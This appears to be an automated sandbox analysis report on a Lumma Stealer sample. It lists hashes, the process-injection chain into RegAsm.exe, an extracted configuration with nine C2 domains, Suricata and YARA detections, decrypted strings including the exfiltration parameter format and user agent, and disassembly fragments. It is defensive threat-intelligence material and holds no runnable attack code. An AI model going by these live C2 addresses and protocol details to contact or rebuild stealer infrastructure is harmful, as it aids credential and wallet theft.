Edit tour

Windows Analysis Report
kewyIO69TI.exe

Overview

General Information

Sample name:	kewyIO69TI.exe renamed because original name is a hash value
Original sample name:	ee766f8a002bc94c1ed54dc7602547c9.exe
Analysis ID:	1520453
MD5:	ee766f8a002bc94c1ed54dc7602547c9
SHA1:	3cd317e022a72b3e7b25b3d87eecfb2fc6aafc5d
SHA256:	aaefdf4d8df6b740054e00d65e9c56d081eaec7fe16e525b3895a6d882fb4cc0
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

kewyIO69TI.exe (PID: 6720 cmdline: "C:\Users\user\Desktop\kewyIO69TI.exe" MD5: EE766F8A002BC94C1ED54DC7602547C9)

conhost.exe (PID: 4300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7076 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1448 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["drawzhotdog.shop", "stogeneratmns.shop", "lootebarrkeyn.shop", "gutterydhowi.shop", "fragnantbui.shop", "vozmeatillu.shop", "offensivedzvju.shop", "reinforcenh.shop", "ghostreedmnu.shop"], "Build id": "FATE99--"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1295381070.0000000003CF5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.RegAsm.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
4.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:09.761554+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49700	104.21.4.136	443	TCP
2024-09-27T11:19:10.980022+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49701	188.114.96.3	443	TCP
2024-09-27T11:19:11.913044+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49702	188.114.96.3	443	TCP
2024-09-27T11:19:12.867203+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49703	188.114.97.3	443	TCP
2024-09-27T11:19:13.818966+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49704	104.21.58.182	443	TCP
2024-09-27T11:19:14.778306+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49705	188.114.97.3	443	TCP
2024-09-27T11:19:15.705280+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49706	188.114.96.3	443	TCP
2024-09-27T11:19:16.606928+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49707	104.21.77.130	443	TCP
2024-09-27T11:19:18.776975+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49709	104.21.2.13	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:09.761554+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49700	104.21.4.136	443	TCP
2024-09-27T11:19:10.980022+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49701	188.114.96.3	443	TCP
2024-09-27T11:19:11.913044+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49702	188.114.96.3	443	TCP
2024-09-27T11:19:12.867203+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49703	188.114.97.3	443	TCP
2024-09-27T11:19:13.818966+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49704	104.21.58.182	443	TCP
2024-09-27T11:19:14.778306+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49705	188.114.97.3	443	TCP
2024-09-27T11:19:15.705280+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49706	188.114.96.3	443	TCP
2024-09-27T11:19:16.606928+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49707	104.21.77.130	443	TCP
2024-09-27T11:19:18.776975+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49709	104.21.2.13	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:13.390734+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.7	49704	104.21.58.182	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:14.321187+0200	2056155	1	Domain Observed Used for C2 Detected	192.168.2.7	49705	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:10.388673+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:09.241941+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	104.21.4.136	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:11.461179+0200	2056161	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:16.189594+0200	2056151	1	Domain Observed Used for C2 Detected	192.168.2.7	49707	104.21.77.130	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:15.258313+0200	2056153	1	Domain Observed Used for C2 Detected	192.168.2.7	49706	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:12.420066+0200	2056159	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	188.114.97.3	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:12.880479+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.7	59089	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:13.822074+0200	2056154	1	Domain Observed Used for C2 Detected	192.168.2.7	62216	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:09.791657+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.7	54428	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:08.756688+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.7	52534	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:08.742677+0200	2056048	1	Domain Observed Used for C2 Detected	192.168.2.7	59462	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:10.982845+0200	2056160	1	Domain Observed Used for C2 Detected	192.168.2.7	53004	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:15.706895+0200	2056150	1	Domain Observed Used for C2 Detected	192.168.2.7	55135	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:14.780197+0200	2056152	1	Domain Observed Used for C2 Detected	192.168.2.7	49493	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:19:11.916804+0200	2056158	1	Domain Observed Used for C2 Detected	192.168.2.7	54688	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900

URL Reputation: Label: malware

Found malware configuration

Source: 4.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["drawzhotdog.shop", "stogeneratmns.shop", "lootebarrkeyn.shop", "gutterydhowi.shop", "fragnantbui.shop", "vozmeatillu.shop", "offensivedzvju.shop", "reinforcenh.shop", "ghostreedmnu.shop"], "Build id": "FATE99--"}

Multi AV Scanner detection for submitted file

Source: kewyIO69TI.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: reinforcenh.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: stogeneratmns.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fragnantbui.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: drawzhotdog.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: vozmeatillu.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: offensivedzvju.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ghostreedmnu.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: gutterydhowi.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lootebarrkeyn.shop
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: FATE99--

Source: kewyIO69TI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.7:49709 version: TLS 1.2

Source: kewyIO69TI.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: c:\rje\tg\mjkz5\obj\Release\ojc.pdb source: kewyIO69TI.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	4_2_0040F042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_0040D470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h	4_2_0040F807
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 68677325h	4_2_00447AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_00447AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+14h]	4_2_00447D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2EE0190Fh	4_2_00447E1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, esi	4_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	4_2_0044B010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_00425030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add ecx, dword ptr [esp+eax*4+30h]	4_2_0040C1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	4_2_0044B1A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00427230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	4_2_004452E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	4_2_004142E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	4_2_0044B320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	4_2_00407450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	4_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	4_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_00412450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	4_2_00442410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_0044B430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	4_2_004314A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	4_2_004404AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_0044A510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], cl	4_2_00435519
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_00433623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	4_2_00449620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_00434629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h	4_2_0040F63A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	4_2_00414692
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000668h]	4_2_0041E71A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 77DD2217h	4_2_0041E71A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h	4_2_0040F7E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+000001C8h]	4_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000198h]	4_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_00432830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_004338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	4_2_004408E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+14h]	4_2_00444970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000884h]	4_2_00429978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_00434990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	4_2_00420A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	4_2_00440A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	4_2_0040FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	4_2_0040FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_0040FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], CECD21FDh	4_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh	4_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	4_2_00421AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	4_2_00444BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	4_2_0041AB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 54CA534Eh	4_2_00448B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	4_2_00430CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	4_2_00405CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	4_2_00404CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	4_2_00449D22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	4_2_00445DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	4_2_00448D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-18h]	4_2_0042FE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	4_2_0042FE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add ebx, 02h	4_2_00413EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	4_2_00413EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec ebx	4_2_0043FE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	4_2_00426FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp dword ptr [004521ECh]	4_2_0041FFD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+eax+01h], 00000000h	4_2_0042DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	4_2_0043BFF0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.7:52534 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.7:54428 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.7:62216 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056048 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop) : 192.168.2.7:59462 -> 1.1.1.1:53
